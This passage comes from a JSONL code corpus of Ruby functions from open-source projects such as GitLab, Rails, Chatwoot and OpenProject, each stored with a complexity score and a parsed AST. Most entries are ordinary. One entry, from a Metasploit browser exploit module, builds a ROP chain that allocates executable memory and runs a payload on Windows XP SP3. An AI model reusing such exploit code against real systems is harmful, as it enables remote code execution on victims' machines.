SYSTEM\"]}]}]}]}]}","id":"ad06e8fe-3ded-4928-ac59-2cd033be6947"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/test_mixin.rb","start_line":94,"raw_source":"def test_include_tag_key_false\n      format_check({\n        'a' => 1\n      })\n\n      d = create_driver(Fluent::SetTagKeyMixin, %[\n      include_tag_key false\n      ])\n      d.emit({'a' => 1})\n      d.run\n    end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_include_tag_key_false\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"format_check\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"d\",{\"type\":\"send\",\"children\":[null,\"create_driver\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"SetTagKeyMixin\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      include_tag_key false\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"emit\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"run\"]}]}]}","id":"8a8a11af-bca9-4c92-8a5e-8071c4362aea"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/saml/auth_hash.rb","start_line":11,"raw_source":"def azure_group_overage_claim?\n          get_raw('http://schemas.microsoft.com/claims/groups.link').present?\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"azure_group_overage_claim?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_raw\",{\"type\":\"str\",\"children\":[\"http://schemas.microsoft.com/claims/groups.link\"]}]},\"present?\"]}]}","id":"7c5964cd-f03c-44ad-a451-14da700490b5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/config/initializers/2_secret_token.rb","start_line":13,"raw_source":"def initialize(secrets_file_path:, rails_env:)\n    @secrets_file_path = secrets_file_path\n    @rails_env = rails_env\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"secrets_file_path\"]},{\"type\":\"kwarg\",\"children\":[\"rails_env\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@secrets_file_path\",{\"type\":\"lvar\",\"children\":[\"secrets_file_path\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@rails_env\",{\"type\":\"lvar\",\"children\":[\"rails_env\"]}]}]}]}","id":"0242b7e4-6c0f-4bf2-9a00-eddd0232c2de"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/pipeline/markup_pipeline.rb","start_line":6,"raw_source":"def self.filters\n        @filters ||= FilterArray[\n          Filter::SanitizationFilter,\n          Filter::SanitizeLinkFilter,\n          Filter::CodeLanguageFilter,\n          Filter::AssetProxyFilter,\n          Filter::ExternalLinkFilter,\n          Filter::PlantumlFilter,\n          Filter::KrokiFilter,\n          Filter::SyntaxHighlightFilter # this filter should remain at the end\n        ]\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"filters\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@filters\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FilterArray\"]},\"[]\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Filter\"]},\"SanitizationFilter\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Filter\"]},\"SanitizeLinkFilter\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Filter\"]},\"CodeLanguageFilter\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Filter\"]},\"AssetProxyFilter\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Filter\"]},\"ExternalLinkFilter\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Filter\"]},\"PlantumlFilter\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Filter\"]},\"KrokiFilter\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Filter\"]},\"SyntaxHighlightFilter\"]}]}]}]}","id":"f1c08c8b-ad26-4ed3-a19f-9332b377af23"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/changeset.rb","start_line":251,"raw_source":"def log_time(work_package, hours)\n    unless user.present?\n      Rails.logger.warn(\"TimeEntry could not be created by changeset #{id}: #{committer} does not map to user\")\n      return\n    end\n\n    Changesets::LogTimeService\n      .new(user:, changeset: self)\n      .call(work_package, hours)\n      .result\n  end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"log_time\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_package\"]},{\"type\":\"arg\",\"children\":[\"hours\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"present?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"TimeEntry could not be created by changeset \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"committer\"]}]},{\"type\":\"str\",\"children\":[\" does not map to user\"]}]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Changesets\"]},\"LogTimeService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"changeset\"]},{\"type\":\"self\",\"children\":[]}]}]}]},\"call\",{\"type\":\"lvar\",\"children\":[\"work_package\"]},{\"type\":\"lvar\",\"children\":[\"hours\"]}]},\"result\"]}]}]}","id":"19584a85-6cda-432b-9275-837569fb7045"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/instagram/callbacks_controller.rb","start_line":112,"raw_source":"def update_channel(channel_instagram, user_details)\n    expires_at = Time.current + @long_lived_token_response['expires_in'].seconds\n\n    channel_instagram.update!(\n      access_token: @long_lived_token_response['access_token'],\n      expires_at: expires_at\n    )\n\n    # Update inbox name if username changed\n    channel_instagram.inbox.update!(name: user_details['username'])\n    channel_instagram\n  end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"update_channel\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"channel_instagram\"]},{\"type\":\"arg\",\"children\":[\"user_details\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expires_at\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@long_lived_token_response\"]},\"[]\",{\"type\":\"str\",\"children\":[\"expires_in\"]}]},\"seconds\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel_instagram\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"access_token\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@long_lived_token_response\"]},\"[]\",{\"type\":\"str\",\"children\":[\"access_token\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expires_at\"]},{\"type\":\"lvar\",\"children\":[\"expires_at\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel_instagram\"]},\"inbox\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_details\"]},\"[]\",{\"type\":\"str\",\"children\":[\"username\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"channel_instagram\"]}]}]}","id":"eb4a290e-3839-43da-8ef3-696619dbd0a2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/wmi_admintools.rb","start_line":239,"raw_source":"def generate_rop(buf_addr, rvas)\n    # ROP fun! (XP SP3 English, Dec 15 2010)\n    rvas.merge!({\n      # Instructions / Name    => RVA\n      'BaseAddress' => 0x63f00000,\n      'imp_VirtualAlloc' => 0x10f4\n    })\n\n    rop_stack = [\n      # Allocate an RWX memory segment\n      'pop ecx / ret',\n      'imp_VirtualAlloc',\n\n      'call [ecx] / pop ebp / ret 0xc',\n      0,         # lpAddress\n      0x1000,    # dwSize\n      0x3000,    # flAllocationType\n      0x40,      # flProt\n      :unused,\n\n      # Copy the original payload\n      'pop ecx / ret',\n      :unused,\n      :unused,\n      :unused,\n      :memcpy_dst,\n\n      'mov [ecx], eax / mov al, 1 / pop ebp / ret 0xc',\n      :unused,\n\n      'pop esi / ret',\n      :unused,\n      :unused,\n      :unused,\n      :memcpy_src,\n\n      'pop edi / ret',\n      0xdeadf00d # to be filled in above\n    ]\n    (0x200 / 4).times {\n      rop_stack << 'movsd / mov ebp, 0x458bffff / sbb al, 0x3b / ret'\n    }\n    # Execute the payload ;)\n    rop_stack << 'call [ecx] / pop ebp / ret 0xc'\n\n    rop_stack.map! { |e|\n      if e.kind_of? String\n        # Meta-replace (RVA)\n        fail_with(Failure::BadConfig, \"Unable to locate key: \\\"#{e}\\\"\") if not rvas[e]\n        rvas['BaseAddress'] + rvas[e]\n\n      elsif e == :unused\n        # Randomize\n        rand_text(4).unpack('V').first\n\n      elsif e == :memcpy_src\n        # Based on stack length..\n        buf_addr + 0x18 + (rop_stack.length * 4)\n\n      elsif e == :memcpy_dst\n        # Store our new memory ptr into our buffer for later popping :)\n        buf_addr + 0x18 + (21 * 4)\n\n      else\n        # Literal\n        e\n      end\n    }\n\n    rop_stack.pack('V*')\n  end","complexity_score":51.0,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_rop\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"buf_addr\"]},{\"type\":\"arg\",\"children\":[\"rvas\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rvas\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BaseAddress\"]},{\"type\":\"int\",\"children\":[1676673024]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"imp_VirtualAlloc\"]},{\"type\":\"int\",\"children\":[4340]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rop_stack\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"pop ecx / ret\"]},{\"type\":\"str\",\"children\":[\"imp_VirtualAlloc\"]},{\"type\":\"str\",\"children\":[\"call [ecx] / pop ebp / ret 0xc\"]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[4096]},{\"type\":\"int\",\"children\":[12288]},{\"type\":\"int\",\"children\":[64]},{\"type\":\"sym\",\"children\":[\"unused\"]},{\"type\":\"str\",\"children\":[\"pop ecx / ret\"]},{\"type\":\"sym\",\"children\":[\"unused\"]},{\"type\":\"sym\",\"children\":[\"unused\"]},{\"type\":\"sym\",\"children\":[\"unused\"]},{\"type\":\"sym\",\"children\":[\"memcpy_dst\"]},{\"type\":\"str\",\"children\":[\"mov [ecx], eax / mov al, 1 / pop ebp / ret 0xc\"]},{\"type\":\"sym\",\"children\":[\"unused\"]},{\"type\":\"str\",\"children\":[\"pop esi / ret\"]},{\"type\":\"sym\",\"children\":[\"unused\"]},{\"type\":\"sym\",\"children\":[\"unused\"]},{\"type\":\"sym\",\"children\":[\"unused\"]},{\"type\":\"sym\",\"children\":[\"memcpy_src\"]},{\"type\":\"str\",\"children\":[\"pop edi / ret\"]},{\"type\":\"int\",\"children\":[3735941133]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[512]},\"/\",{\"type\":\"int\",\"children\":[4]}]}]},\"times\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rop_stack\"]},\"<<\",{\"type\":\"str\",\"children\":[\"movsd / mov ebp, 0x458bffff / sbb al, 0x3b / ret\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rop_stack\"]},\"<<\",{\"type\":\"str\",\"children\":[\"call [ecx] / pop ebp / ret 0xc\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rop_stack\"]},\"map!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"e\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rvas\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"e\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unable to locate key: \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rvas\"]},\"[]\",{\"type\":\"str\",\"children\":[\"BaseAddress\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rvas\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"==\",{\"type\":\"sym\",\"children\":[\"unused\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text\",{\"type\":\"int\",\"children\":[4]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"V\"]}]},\"first\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"==\",{\"type\":\"sym\",\"children\":[\"memcpy_src\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf_addr\"]},\"+\",{\"type\":\"int\",\"children\":[24]}]},\"+\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rop_stack\"]},\"length\"]},\"*\",{\"type\":\"int\",\"children\":[4]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"==\",{\"type\":\"sym\",\"children\":[\"memcpy_dst\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf_addr\"]},\"+\",{\"type\":\"int\",\"children\":[24]}]},\"+\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[21]},\"*\",{\"type\":\"int\",\"children\":[4]}]}]}]},{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rop_stack\"]},\"pack\",{\"type\":\"str\",\"children\":[\"V*\"]}]}]}]}","id":"f507b259-2a59-44fd-a33a-e6fb22a2710b"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/config_loader_resolver.rb","start_line":230,"raw_source":"def merge_hashes?(base_hash, derived_hash, key)\n      base_hash[key].is_a?(Hash) && derived_hash[key].is_a?(Hash)\n    end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"merge_hashes?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base_hash\"]},{\"type\":\"arg\",\"children\":[\"derived_hash\"]},{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_hash\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"derived_hash\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]}]}]}","id":"80a65817-e75f-466b-95c9-f3c636b32f33"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/models/concerns/liquidable.rb","start_line":84,"raw_source":"def process_liquid_array(array)\n    array.map { |item| process_liquid_value(item) }\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"process_liquid_array\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"array\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"array\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"send\",\"children\":[null,\"process_liquid_value\",{\"type\":\"lvar\",\"children\":[\"item\"]}]}]}]}","id":"d2ba9928-4a59-4ce5-9e25-2bf77596588d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/keeps/rspec_order_checker.rb","start_line":29,"raw_source":"def each_identified_change\n      unless File.exist?(TODO_YAML_PATH)\n        puts \"No specs to process, aborting change\"\n        return\n      end\n\n      todo_entries = load_todo_entries\n      return if todo_entries.empty?\n\n      entries_to_check = todo_entries.first(limit_specs)\n\n      logger.info \"Found #{todo_entries.count} entries in TODO list, checking #{entries_to_check.count}\"\n\n      change = ::Gitlab::Housekeeper::Change.new\n      change.identifiers = [self.class.name.split('::').last,\n        \"batch_#{Time.now.strftime('%Y%m%d')}_#{todo_entries.count}\"]\n      change.context = {\n        entries_to_check: entries_to_check,\n        total_entries: todo_entries.count\n      }\n      yield(change)\n    end","complexity_score":29.4,"ast_json":"{\"type\":\"def\",\"children\":[\"each_identified_change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"const\",\"children\":[null,\"TODO_YAML_PATH\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"No specs to process, aborting change\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"todo_entries\",{\"type\":\"send\",\"children\":[null,\"load_todo_entries\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"todo_entries\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"entries_to_check\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"todo_entries\"]},\"first\",{\"type\":\"send\",\"children\":[null,\"limit_specs\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Found \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"todo_entries\"]},\"count\"]}]},{\"type\":\"str\",\"children\":[\" entries in TODO list, checking \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entries_to_check\"]},\"count\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"change\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Housekeeper\"]},\"Change\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"change\"]},\"identifiers=\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]},\"split\",{\"type\":\"str\",\"children\":[\"::\"]}]},\"last\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"batch_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"strftime\",{\"type\":\"str\",\"children\":[\"%Y%m%d\"]}]}]},{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"todo_entries\"]},\"count\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"change\"]},\"context=\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"entries_to_check\"]},{\"type\":\"lvar\",\"children\":[\"entries_to_check\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"total_entries\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"todo_entries\"]},\"count\"]}]}]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"change\"]}]}]}]}","id":"065b0a6f-2ae3-4987-9e27-61a62b0fb4c9"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_controller/metal/live.rb","start_line":203,"raw_source":"def close\n        synchronize do\n          super\n          @buf.push nil\n          @cv.broadcast\n        end\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"close\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@buf\"]},\"push\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cv\"]},\"broadcast\"]}]}]}]}","id":"6c74b661-3f6b-4559-92a4-cf292411d20d"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/github_repos_controller.rb","start_line":5,"raw_source":"def index\n    authorize GithubRepo\n    known_repositories = current_user.github_repos.featured.distinct.to_a\n\n    # NOTE: this will invoke autopaging, by issuing multiple calls to GitHub\n    # to fetch all of the user's repositories. This could eventually become slow\n    @repos = fetch_repositories_from_github(known_repositories)\n  rescue Github::Errors::Unauthorized => e\n    render json: { error: I18n.t(\"github_repos_controller.github_unauthorized\", e_message: e.message), status: 401 },\n           status: :unauthorized\n  end","complexity_score":19.13,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authorize\",{\"type\":\"const\",\"children\":[null,\"GithubRepo\"]}]},{\"type\":\"lvasgn\",\"children\":[\"known_repositories\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"github_repos\"]},\"featured\"]},\"distinct\"]},\"to_a\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@repos\",{\"type\":\"send\",\"children\":[null,\"fetch_repositories_from_github\",{\"type\":\"lvar\",\"children\":[\"known_repositories\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Github\"]},\"Errors\"]},\"Unauthorized\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"github_repos_controller.github_unauthorized\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"e_message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[401]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unauthorized\"]}]}]}]}]},null]}]}","id":"a7289a34-13c6-4824-9f7a-3d9b46cab064"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/db/migrate/20240426073948_create_recurring_meetings.rb","start_line":4,"raw_source":"def change\n    create_table :recurring_meetings do |t|\n      t.datetime :start_time\n      t.date :end_date, null: true\n      t.text :title\n      t.integer :frequency, default: 0, null: false\n      t.integer :end_after, default: 0, null: false\n      t.integer :iterations, null: true\n      t.belongs_to :project, foreign_key: true, index: true\n      t.belongs_to :author, foreign_key: { to_table: :users }\n\n      t.timestamps\n    end\n\n    add_reference :meetings, :recurring_meeting, index: true\n    add_column :meetings, :template, :boolean, default: false, null: false\n  end","complexity_score":14.8,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"recurring_meetings\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"datetime\",{\"type\":\"sym\",\"children\":[\"start_time\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"date\",{\"type\":\"sym\",\"children\":[\"end_date\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"title\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"frequency\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"end_after\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]